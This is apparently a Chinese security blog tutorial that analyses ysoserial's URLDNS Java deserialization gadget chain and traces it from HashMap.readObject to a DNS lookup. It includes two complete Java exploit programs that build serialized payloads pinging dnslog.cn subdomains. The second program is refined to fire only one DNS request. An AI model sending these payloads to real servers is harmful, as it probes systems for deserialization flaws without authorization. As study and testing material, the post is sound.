java_URLDNSLOG链
URLDNS
是ysoserial
中的一条利用链,通常用于检测是否存在Java
反序列化漏洞,该利用链具有如下特点
1 2 3
| URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞
|
调用栈
1 2 3
| HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress ->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName
|
分析调用链
着重关注for循环,大概是将key和value重新赋值到HashMap上
1
| putVal(hash(key), key, value, false, false);
|
调用了hash()方法,跟进
调用了key的hashCode()方法,而这个key我们肯定是可控的,根据调用栈,继续调用URL类的hashCode方法
其中this代表调用这个方法的对象的本身,也就是URL的对象,并且我们可以在URL类的构造方法发现这段代码
说明这个handler是我们可控的,继续调用URLStreamHandler的hashCode()方法
继续跟进getHostAddress()方法
而InetAddress.getByName(host)方法相当于就是进行了一次dns请求
尝试编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package main.java.urldns;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.net.URL;
public class dnslog { public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://q6e394.dnslog.cn/");
Field f = URL.class.getDeclaredField("hashCode"); f.setAccessible(true);
f.set(url, -1); hashMap.put(url, "ycxlo");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashMap); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object object = ois.readObject(); }
}
|
运行后发现接收到信息
根据其他师傅的exp进行修改
看了其他师傅的一些文章,发现还可以对exp进行一些修改,目的是为了只进行一次dns请求
由于在exp运行过程中,还会调用HashMap的put方法,而put方法同样也有hash(key),所以会进行两次dns请求
修改后的exp是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package main.java.urldns;
import java.io.*; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URL; import java.net.URLConnection; import java.net.URLStreamHandler; import java.util.HashMap;
public class test { public static void main(String[] args) throws Exception { URLStreamHandler handler = new SilentURLStreamHandler(); HashMap hashMap = new HashMap(); URL url = new URL(null,"http://o9viut.dnslog.cn/",handler);
Field f = URL.class.getDeclaredField("hashCode"); f.setAccessible(true);
hashMap.put(url, "ycxlo");
f.set(url, -1);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashMap); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object object = ois.readObject(); }
static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; }
protected synchronized InetAddress getHostAddress(URL u) { return null; } } }
|
可以发现明显请求次数变少了
原因大致是这样的:我们定义的SilentURLStreamHandler类继承了URLStreamHandler类,并重写了getHostAddress方法,所以当HashMap的put方法调用getHostAddress方法时,只会返回null,而handler对象又是由transient修饰的,默认不会被序列化,也就是说当该字段被序列化时,这个字段并不会被保存,所以序列化的时候依旧是调用URLStreamHandler类